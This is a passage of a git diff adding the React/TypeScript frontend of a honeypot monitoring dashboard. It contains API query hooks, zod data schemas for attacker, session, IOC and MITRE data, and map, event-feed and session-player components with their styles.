+ '@types/d3-timer': 3.0.2 + d3-array: 3.2.4 + d3-ease: 3.0.1 + d3-interpolate: 3.0.1 + d3-scale: 4.0.2 + d3-shape: 3.2.0 + d3-time: 3.1.0 + d3-timer: 3.0.1 + + vite@6.4.2(@types/node@25.6.0)(sass@1.99.0): + dependencies: + esbuild: 0.25.12 + fdir: 6.5.0(picomatch@4.0.4) + picomatch: 4.0.4 + postcss: 8.5.10 + rollup: 4.60.1 + tinyglobby: 0.2.16 + optionalDependencies: + '@types/node': 25.6.0 + fsevents: 2.3.3 + sass: 1.99.0 + + which@1.3.1: + dependencies: + isexe: 2.0.0 + + write-file-atomic@7.0.1: + dependencies: + signal-exit: 4.1.0 + + yallist@3.1.1: {} + + zod@4.3.6: {} + + zustand@5.0.12(@types/react@19.2.14)(react@19.2.5): + optionalDependencies: + '@types/react': 19.2.14 + react: 19.2.5 diff --git a/PROJECTS/advanced/honeypot-network/frontend/public/assets/android-chrome-192x192.png b/PROJECTS/advanced/honeypot-network/frontend/public/assets/android-chrome-192x192.png new file mode 100644 index 00000000..f6b3f873 Binary files /dev/null and b/PROJECTS/advanced/honeypot-network/frontend/public/assets/android-chrome-192x192.png differ diff --git a/PROJECTS/advanced/honeypot-network/frontend/public/assets/android-chrome-512x512.png b/PROJECTS/advanced/honeypot-network/frontend/public/assets/android-chrome-512x512.png new file mode 100644 index 00000000..4d2f8c67 Binary files /dev/null and b/PROJECTS/advanced/honeypot-network/frontend/public/assets/android-chrome-512x512.png differ diff --git a/PROJECTS/advanced/honeypot-network/frontend/public/assets/apple-touch-icon.png b/PROJECTS/advanced/honeypot-network/frontend/public/assets/apple-touch-icon.png new file mode 100644 index 00000000..6ad878ca Binary files /dev/null and b/PROJECTS/advanced/honeypot-network/frontend/public/assets/apple-touch-icon.png differ diff --git a/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon-16x16.png b/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon-16x16.png new file mode 100644 index 00000000..423293b5 Binary files /dev/null and b/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon-16x16.png differ diff --git a/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon-32x32.png b/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon-32x32.png new file mode 100644 index 00000000..2ac00468 Binary files /dev/null and b/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon-32x32.png differ diff --git a/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon.ico b/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon.ico new file mode 100644 index 00000000..af22aa90 Binary files /dev/null and b/PROJECTS/advanced/honeypot-network/frontend/public/assets/favicon.ico differ diff --git a/PROJECTS/advanced/honeypot-network/frontend/public/assets/site.webmanifest b/PROJECTS/advanced/honeypot-network/frontend/public/assets/site.webmanifest new file mode 100644 index 00000000..1dd91123 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/public/assets/site.webmanifest @@ -0,0 +1 @@ +{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/App.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/App.tsx new file mode 100644 index 00000000..463f0e6c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/App.tsx @@ -0,0 +1,19 @@ +// =================== +// ©AngelaMos | 2026 +// App.tsx +// =================== + +import { QueryClientProvider } from '@tanstack/react-query' +import { RouterProvider } from 'react-router-dom' +import { Toaster } from 'sonner' +import { queryClient } from '@/core/api' +import { router } from '@/core/app/router' + +export function App() { + return ( + + + + + ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/index.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/index.ts new file mode 100644 index 00000000..bdf4670a --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/index.ts @@ -0,0 +1,12 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export * from './useAttackers' +export * from './useEvents' +export * from './useIOCs' +export * from './useMitre' +export * from './useSensors' +export * from './useSessions' +export * from './useStats' diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useAttackers.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useAttackers.ts new file mode 100644 index 00000000..e1056ba1 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useAttackers.ts @@ -0,0 +1,46 @@ +// =================== +// ©AngelaMos | 2026 +// useAttackers.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { ApiResponse, Attacker } from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/api' + +export const attackerQueries = { + all: () => QUERY_KEYS.ATTACKERS.ALL, + list: (limit: number, since: string) => QUERY_KEYS.ATTACKERS.LIST(limit, since), + byId: (id: string | number) => QUERY_KEYS.ATTACKERS.BY_ID(id), +} as const + +export const useAttackers = ( + limit = 50, + since = '24h' +): UseQueryResult => { + return useQuery({ + queryKey: attackerQueries.list(limit, since), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.ATTACKERS.LIST, + { params: { limit, since } } + ) + return response.data.data + }, + ...QUERY_STRATEGIES.slow, + }) +} + +export const useAttacker = (id: number): UseQueryResult => { + return useQuery({ + queryKey: attackerQueries.byId(id), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.ATTACKERS.BY_ID(id) + ) + return response.data.data + }, + enabled: id > 0, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useEvents.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useEvents.ts new file mode 100644 index 00000000..fb411d3e --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useEvents.ts @@ -0,0 +1,32 @@ +// =================== +// ©AngelaMos | 2026 +// useEvents.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { ApiResponse, HoneypotEvent } from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/api' + +export const eventQueries = { + all: () => QUERY_KEYS.EVENTS.ALL, + list: (limit: number, ip?: string) => QUERY_KEYS.EVENTS.LIST(limit, ip), +} as const + +export const useEvents = ( + limit = 50, + ip?: string +): UseQueryResult => { + return useQuery({ + queryKey: eventQueries.list(limit, ip), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.EVENTS.LIST, + { params: { limit, ip } } + ) + return response.data.data + }, + ...QUERY_STRATEGIES.live, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useIOCs.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useIOCs.ts new file mode 100644 index 00000000..688b9efb --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useIOCs.ts @@ -0,0 +1,32 @@ +// =================== +// ©AngelaMos | 2026 +// useIOCs.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { IOC, PaginatedResponse } from '@/api/types' +import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/api' + +export const iocQueries = { + all: () => QUERY_KEYS.IOCS.ALL, + list: (limit: number, offset: number) => QUERY_KEYS.IOCS.LIST(limit, offset), +} as const + +export const useIOCs = ( + limit = PAGINATION.DEFAULT_LIMIT, + offset = 0 +): UseQueryResult, Error> => { + return useQuery({ + queryKey: iocQueries.list(limit, offset), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.IOCS.LIST, + { params: { limit, offset } } + ) + return response.data + }, + ...QUERY_STRATEGIES.standard, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useMitre.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useMitre.ts new file mode 100644 index 00000000..6eb99aab --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useMitre.ts @@ -0,0 +1,45 @@ +// =================== +// ©AngelaMos | 2026 +// useMitre.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { ApiResponse, HeatmapEntry, TechniqueInfo } from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/api' + +export const mitreQueries = { + all: () => QUERY_KEYS.MITRE.ALL, + techniques: () => QUERY_KEYS.MITRE.TECHNIQUES(), + heatmap: (since: string) => QUERY_KEYS.MITRE.HEATMAP(since), +} as const + +export const useMitreTechniques = (): UseQueryResult => { + return useQuery({ + queryKey: mitreQueries.techniques(), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.MITRE.TECHNIQUES + ) + return response.data.data + }, + ...QUERY_STRATEGIES.static, + }) +} + +export const useMitreHeatmap = ( + since = '24h' +): UseQueryResult => { + return useQuery({ + queryKey: mitreQueries.heatmap(since), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.MITRE.HEATMAP, + { params: { since } } + ) + return response.data.data + }, + ...QUERY_STRATEGIES.slow, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useSensors.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useSensors.ts new file mode 100644 index 00000000..5e59b640 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useSensors.ts @@ -0,0 +1,28 @@ +// =================== +// ©AngelaMos | 2026 +// useSensors.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { ApiResponse, SensorInfo } from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/api' + +export const sensorQueries = { + all: () => QUERY_KEYS.SENSORS.ALL, + list: () => QUERY_KEYS.SENSORS.LIST(), +} as const + +export const useSensors = (): UseQueryResult => { + return useQuery({ + queryKey: sensorQueries.list(), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.SENSORS.LIST + ) + return response.data.data + }, + ...QUERY_STRATEGIES.static, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useSessions.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useSessions.ts new file mode 100644 index 00000000..a51e6c62 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useSessions.ts @@ -0,0 +1,63 @@ +// =================== +// ©AngelaMos | 2026 +// useSessions.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { ApiResponse, PaginatedResponse, Session } from '@/api/types' +import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/api' + +export const sessionQueries = { + all: () => QUERY_KEYS.SESSIONS.ALL, + list: (limit: number, offset: number, service?: string) => + QUERY_KEYS.SESSIONS.LIST(limit, offset, service), + byId: (id: string) => QUERY_KEYS.SESSIONS.BY_ID(id), + replay: (id: string) => QUERY_KEYS.SESSIONS.REPLAY(id), +} as const + +export const useSessions = ( + limit = PAGINATION.DEFAULT_LIMIT, + offset = 0, + service?: string +): UseQueryResult, Error> => { + return useQuery({ + queryKey: sessionQueries.list(limit, offset, service), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.SESSIONS.LIST, + { params: { limit, offset, service } } + ) + return response.data + }, + ...QUERY_STRATEGIES.standard, + }) +} + +export const useSession = (id: string): UseQueryResult => { + return useQuery({ + queryKey: sessionQueries.byId(id), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.SESSIONS.BY_ID(id) + ) + return response.data.data + }, + enabled: id.length > 0, + }) +} + +export const useSessionReplay = (id: string): UseQueryResult => { + return useQuery({ + queryKey: sessionQueries.replay(id), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.SESSIONS.REPLAY(id), + { responseType: 'text' } + ) + return response.data + }, + enabled: id.length > 0, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useStats.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useStats.ts new file mode 100644 index 00000000..0d6280fe --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/hooks/useStats.ts @@ -0,0 +1,62 @@ +// =================== +// ©AngelaMos | 2026 +// useStats.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { ApiResponse, CredentialStats, OverviewStats } from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/api' + +export const statsQueries = { + all: () => QUERY_KEYS.STATS.ALL, + overview: (since: string) => QUERY_KEYS.STATS.OVERVIEW(since), + countries: (since: string) => QUERY_KEYS.STATS.COUNTRIES(since), + credentials: () => QUERY_KEYS.STATS.CREDENTIALS(), +} as const + +export const useStatsOverview = ( + since = '24h' +): UseQueryResult => { + return useQuery({ + queryKey: statsQueries.overview(since), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.STATS.OVERVIEW, + { params: { since } } + ) + return response.data.data + }, + ...QUERY_STRATEGIES.live, + }) +} + +export const useStatsCountries = ( + since = '24h' +): UseQueryResult, Error> => { + return useQuery({ + queryKey: statsQueries.countries(since), + queryFn: async () => { + const response = await apiClient.get>>( + API_ENDPOINTS.STATS.COUNTRIES, + { params: { since } } + ) + return response.data.data + }, + ...QUERY_STRATEGIES.slow, + }) +} + +export const useStatsCredentials = (): UseQueryResult => { + return useQuery({ + queryKey: statsQueries.credentials(), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.STATS.CREDENTIALS + ) + return response.data.data + }, + ...QUERY_STRATEGIES.slow, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/attacker.types.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/attacker.types.ts new file mode 100644 index 00000000..de9b2839 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/attacker.types.ts @@ -0,0 +1,26 @@ +// =================== +// ©AngelaMos | 2026 +// attacker.types.ts +// =================== + +import { z } from 'zod' +import { geoInfoSchema } from './common.types' + +export const attackerSchema = z.object({ + id: z.number(), + ip: z.string(), + first_seen: z.string(), + last_seen: z.string(), + total_events: z.number(), + total_sessions: z.number(), + geo: geoInfoSchema, + threat_score: z.number(), + tool_family: z.string().optional(), + tags: z.array(z.string()).optional(), +}) + +export type Attacker = z.infer + +export const isValidAttacker = (data: unknown): data is Attacker => { + return attackerSchema.safeParse(data).success +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/common.types.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/common.types.ts new file mode 100644 index 00000000..96c10074 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/common.types.ts @@ -0,0 +1,82 @@ +// =================== +// ©AngelaMos | 2026 +// common.types.ts +// =================== + +import { z } from 'zod' + +export const SERVICE_TYPE_VALUES = [ + 'ssh', + 'http', + 'ftp', + 'smb', + 'mysql', + 'redis', +] as const + +export const ServiceType = { + SSH: 'ssh', + HTTP: 'http', + FTP: 'ftp', + SMB: 'smb', + MYSQL: 'mysql', + REDIS: 'redis', +} as const + +export type ServiceType = (typeof ServiceType)[keyof typeof ServiceType] + +export const EventType = { + CONNECT: 'connect', + DISCONNECT: 'disconnect', + LOGIN_SUCCESS: 'login.success', + LOGIN_FAILED: 'login.failed', + COMMAND_INPUT: 'command.input', + COMMAND_OUTPUT: 'command.output', + FILE_UPLOAD: 'file.upload', + FILE_DOWNLOAD: 'file.download', + REQUEST: 'request', + EXPLOIT_ATTEMPT: 'exploit.attempt', + SCAN_DETECTED: 'scan.detected', +} as const + +export type EventType = (typeof EventType)[keyof typeof EventType] + +export const geoInfoSchema = z.object({ + country_code: z.string(), + country: z.string(), + city: z.string(), + latitude: z.number(), + longitude: z.number(), + asn: z.number(), + org: z.string(), +}) + +export type GeoInfo = z.infer + +export const apiResponseSchema = (dataSchema: T) => + z.object({ + data: dataSchema, + }) + +export type ApiResponse = { + data: T +} + +export const paginatedResponseSchema = (dataSchema: T) => + z.object({ + data: dataSchema, + total: z.number(), + limit: z.number(), + offset: z.number(), + }) + +export type PaginatedResponse = { + data: T + total: number + limit: number + offset: number +} + +export const isValidGeoInfo = (data: unknown): data is GeoInfo => { + return geoInfoSchema.safeParse(data).success +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/event.types.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/event.types.ts new file mode 100644 index 00000000..81054e03 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/event.types.ts @@ -0,0 +1,31 @@ +// =================== +// ©AngelaMos | 2026 +// event.types.ts +// =================== + +import { z } from 'zod' +import { geoInfoSchema, SERVICE_TYPE_VALUES } from './common.types' + +export const honeypotEventSchema = z.object({ + id: z.string(), + session_id: z.string(), + sensor_id: z.string(), + timestamp: z.string(), + received_at: z.string(), + service_type: z.enum(SERVICE_TYPE_VALUES), + event_type: z.string(), + source_ip: z.string(), + source_port: z.number(), + dest_port: z.number(), + protocol: z.string(), + schema_version: z.number(), + geo: geoInfoSchema.optional(), + tags: z.array(z.string()).optional(), + service_data: z.record(z.string(), z.unknown()).optional(), +}) + +export type HoneypotEvent = z.infer + +export const isValidHoneypotEvent = (data: unknown): data is HoneypotEvent => { + return honeypotEventSchema.safeParse(data).success +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/index.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/index.ts new file mode 100644 index 00000000..4f67e7fb --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/index.ts @@ -0,0 +1,13 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export * from './attacker.types' +export * from './common.types' +export * from './event.types' +export * from './ioc.types' +export * from './mitre.types' +export * from './sensor.types' +export * from './session.types' +export * from './stats.types' diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/ioc.types.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/ioc.types.ts new file mode 100644 index 00000000..5c42bd54 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/ioc.types.ts @@ -0,0 +1,24 @@ +// =================== +// ©AngelaMos | 2026 +// ioc.types.ts +// =================== + +import { z } from 'zod' + +export const iocSchema = z.object({ + id: z.number(), + type: z.string(), + value: z.string(), + first_seen: z.string(), + last_seen: z.string(), + sight_count: z.number(), + confidence: z.number(), + source: z.string(), + tags: z.array(z.string()).optional(), +}) + +export type IOC = z.infer + +export const isValidIOC = (data: unknown): data is IOC => { + return iocSchema.safeParse(data).success +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/mitre.types.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/mitre.types.ts new file mode 100644 index 00000000..9dfcaef8 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/mitre.types.ts @@ -0,0 +1,31 @@ +// =================== +// ©AngelaMos | 2026 +// mitre.types.ts +// =================== + +import { z } from 'zod' + +export const techniqueInfoSchema = z.object({ + id: z.string(), + name: z.string(), + tactic: z.string(), +}) + +export type TechniqueInfo = z.infer + +export const heatmapEntrySchema = z.object({ + technique_id: z.string(), + name: z.string(), + tactic: z.string(), + count: z.number(), +}) + +export type HeatmapEntry = z.infer + +export const isValidTechniqueInfo = (data: unknown): data is TechniqueInfo => { + return techniqueInfoSchema.safeParse(data).success +} + +export const isValidHeatmapEntry = (data: unknown): data is HeatmapEntry => { + return heatmapEntrySchema.safeParse(data).success +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/sensor.types.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/sensor.types.ts new file mode 100644 index 00000000..a018acc8 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/sensor.types.ts @@ -0,0 +1,21 @@ +// =================== +// ©AngelaMos | 2026 +// sensor.types.ts +// =================== + +import { z } from 'zod' + +export const sensorInfoSchema = z.object({ + id: z.string(), + hostname: z.string(), + region: z.string(), + services: z.array(z.string()), + started_at: z.string(), + status: z.string(), +}) + +export type SensorInfo = z.infer + +export const isValidSensorInfo = (data: unknown): data is SensorInfo => { + return sensorInfoSchema.safeParse(data).success +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/session.types.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/session.types.ts new file mode 100644 index 00000000..5a1c2a6c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/session.types.ts @@ -0,0 +1,31 @@ +// =================== +// ©AngelaMos | 2026 +// session.types.ts +// =================== + +import { z } from 'zod' +import { SERVICE_TYPE_VALUES } from './common.types' + +export const sessionSchema = z.object({ + id: z.string(), + sensor_id: z.string(), + started_at: z.string(), + ended_at: z.string().optional(), + service_type: z.enum(SERVICE_TYPE_VALUES), + source_ip: z.string(), + source_port: z.number(), + dest_port: z.number(), + client_version: z.string().optional(), + login_success: z.boolean(), + username: z.string().optional(), + command_count: z.number(), + mitre_techniques: z.array(z.string()).optional(), + threat_score: z.number(), + tags: z.array(z.string()).optional(), +}) + +export type Session = z.infer + +export const isValidSession = (data: unknown): data is Session => { + return sessionSchema.safeParse(data).success +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/api/types/stats.types.ts b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/stats.types.ts new file mode 100644 index 00000000..9f42db90 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/api/types/stats.types.ts @@ -0,0 +1,43 @@ +// =================== +// ©AngelaMos | 2026 +// stats.types.ts +// =================== + +import { z } from 'zod' + +export const overviewStatsSchema = z.object({ + total_events: z.number(), + active_sessions: z.number(), + events_by_service: z.record(z.string(), z.number()), +}) + +export type OverviewStats = z.infer + +export const credentialEntrySchema = z.object({ + value: z.string(), + count: z.number(), +}) + +export const credentialPairSchema = z.object({ + username: z.string(), + password: z.string(), + count: z.number(), +}) + +export const credentialStatsSchema = z.object({ + top_usernames: z.array(credentialEntrySchema), + top_passwords: z.array(credentialEntrySchema), + top_pairs: z.array(credentialPairSchema), +}) + +export type CredentialStats = z.infer + +export const isValidOverviewStats = (data: unknown): data is OverviewStats => { + return overviewStatsSchema.safeParse(data).success +} + +export const isValidCredentialStats = ( + data: unknown +): data is CredentialStats => { + return credentialStatsSchema.safeParse(data).success +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/attack-map.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/components/attack-map.module.scss new file mode 100644 index 00000000..717c3f25 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/attack-map.module.scss @@ -0,0 +1,13 @@ +// ©AngelaMos | 2026 +// attack-map.module.scss + +.wrapper { + border: 1px solid var(--border-hard); + overflow: hidden; +} + +.map { + height: 400px; + width: 100%; + background: var(--bg-void); +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/attack-map.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/components/attack-map.tsx new file mode 100644 index 00000000..19cf5509 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/attack-map.tsx @@ -0,0 +1,66 @@ +// ©AngelaMos | 2026 +// attack-map.tsx + +import { CircleMarker, MapContainer, TileLayer, Tooltip } from 'react-leaflet' +import type { Attacker } from '@/api/types' +import styles from './attack-map.module.scss' + +const MAP_CENTER: [number, number] = [20, 0] +const MAP_ZOOM = 2 +const MIN_RADIUS = 4 +const MAX_RADIUS = 18 +const TILE_URL = 'https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}{r}.png' +const TILE_ATTR = + '© OSM © CARTO' + +interface AttackMapProps { + attackers: Attacker[] +} + +export function AttackMap({ attackers }: AttackMapProps) { + const maxEvents = Math.max(...attackers.map((a) => a.total_events), 1) + + return ( +
+ + + + {attackers.map((attacker) => { + if (!attacker.geo.latitude && !attacker.geo.longitude) return null + + const ratio = attacker.total_events / maxEvents + const radius = MIN_RADIUS + ratio * (MAX_RADIUS - MIN_RADIUS) + + return ( + + + {attacker.ip} +
+ {attacker.geo.country}{' '} + {attacker.geo.city ? `- ${attacker.geo.city}` : ''} +
+ Events: {attacker.total_events} +
+
+ ) + })} +
+
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/event-feed.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/components/event-feed.module.scss new file mode 100644 index 00000000..8a2509d1 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/event-feed.module.scss @@ -0,0 +1,60 @@ +// ©AngelaMos | 2026 +// event-feed.module.scss + +@use "../styles/mixins" as *; + +.feed { + display: flex; + flex-direction: column; + max-height: 420px; + overflow-y: auto; + border: 1px solid var(--border-hard); +} + +.entry { + display: flex; + align-items: center; + gap: var(--space-16); + padding: var(--space-8) var(--space-16); + border-bottom: 1px solid var(--border-soft); + animation: enter var(--ease); + + &:last-child { + border-bottom: none; + } +} + +.time { + @include mono(11px); + color: var(--text-muted); + min-width: 72px; +} + +.type { + @include mono(12px); + color: var(--text-secondary); + flex: 1; +} + +.ip { + @include mono(12px); + color: var(--accent); +} + +.empty { + padding: var(--space-48); + text-align: center; + color: var(--text-muted); + @include mono(12px); + letter-spacing: 2px; +} + +@keyframes enter { + from { + opacity: 0; + } + + to { + opacity: 1; + } +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/event-feed.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/components/event-feed.tsx new file mode 100644 index 00000000..c7799aaf --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/event-feed.tsx @@ -0,0 +1,32 @@ +// ©AngelaMos | 2026 +// event-feed.tsx + +import { useWebSocketStore } from '@/core/lib/websocket.store' +import { ServiceBadge } from './service-badge' +import styles from './event-feed.module.scss' + +const MAX_VISIBLE = 15 + +export function EventFeed() { + const events = useWebSocketStore((s) => s.events) + const visible = events.slice(0, MAX_VISIBLE) + + if (visible.length === 0) { + return
AWAITING SIGNAL ...
+ } + + return ( +
+ {visible.map((ev) => ( +
+ + {new Date(ev.timestamp).toLocaleTimeString()} + + + {ev.event_type} + {ev.source_ip} +
+ ))} +
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/service-badge.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/components/service-badge.module.scss new file mode 100644 index 00000000..6b2f1ed9 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/service-badge.module.scss @@ -0,0 +1,14 @@ +// ©AngelaMos | 2026 +// service-badge.module.scss + +@use "../styles/mixins" as *; + +.badge { + @include mono(10px); + font-weight: 700; + letter-spacing: 0.5px; + padding: 1px 6px; + border: 1px solid var(--border-hard); + color: var(--text-secondary); + white-space: nowrap; +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/service-badge.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/components/service-badge.tsx new file mode 100644 index 00000000..04d20088 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/service-badge.tsx @@ -0,0 +1,17 @@ +// ©AngelaMos | 2026 +// service-badge.tsx + +import type { ServiceType } from '@/api/types' +import styles from './service-badge.module.scss' + +interface ServiceBadgeProps { + service: ServiceType +} + +export function ServiceBadge({ service }: ServiceBadgeProps) { + return ( + + {service.toUpperCase()} + + ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/session-player.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/components/session-player.module.scss new file mode 100644 index 00000000..da3de00b --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/session-player.module.scss @@ -0,0 +1,80 @@ +// ©AngelaMos | 2026 +// session-player.module.scss + +@use "../styles/mixins" as *; + +.player { + border: 1px solid var(--border-hard); + overflow: hidden; +} + +.terminal { + padding: var(--space-8); + min-height: 300px; + background: var(--bg-void); +} + +.controls { + display: flex; + align-items: center; + gap: var(--space-16); + padding: var(--space-8) var(--space-16); + background: var(--bg-surface); + border-top: 2px solid var(--border-hard); +} + +.btn { + @include mono(11px); + font-weight: 600; + letter-spacing: 0.5px; + padding: var(--space-4) var(--space-12); + border: 1px solid var(--border-hard); + color: var(--text-secondary); + transition: all var(--ease); + + &:hover { + border-color: var(--accent); + color: var(--accent); + } +} + +.speedGroup { + display: flex; + gap: var(--space-2); +} + +.speedBtn { + @include mono(10px); + padding: var(--space-4) var(--space-8); + color: var(--text-muted); + transition: color var(--ease); + + &:hover { + color: var(--text-primary); + } +} + +.speedBtnActive { + color: var(--accent); + border-bottom: 2px solid var(--accent); +} + +.progress { + flex: 1; + height: 2px; + background: var(--border-soft); + overflow: hidden; +} + +.progressBar { + height: 100%; + background: var(--accent); + transition: width 200ms linear; +} + +.counter { + @include mono(10px); + color: var(--text-muted); + min-width: 56px; + text-align: right; +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/session-player.tsx 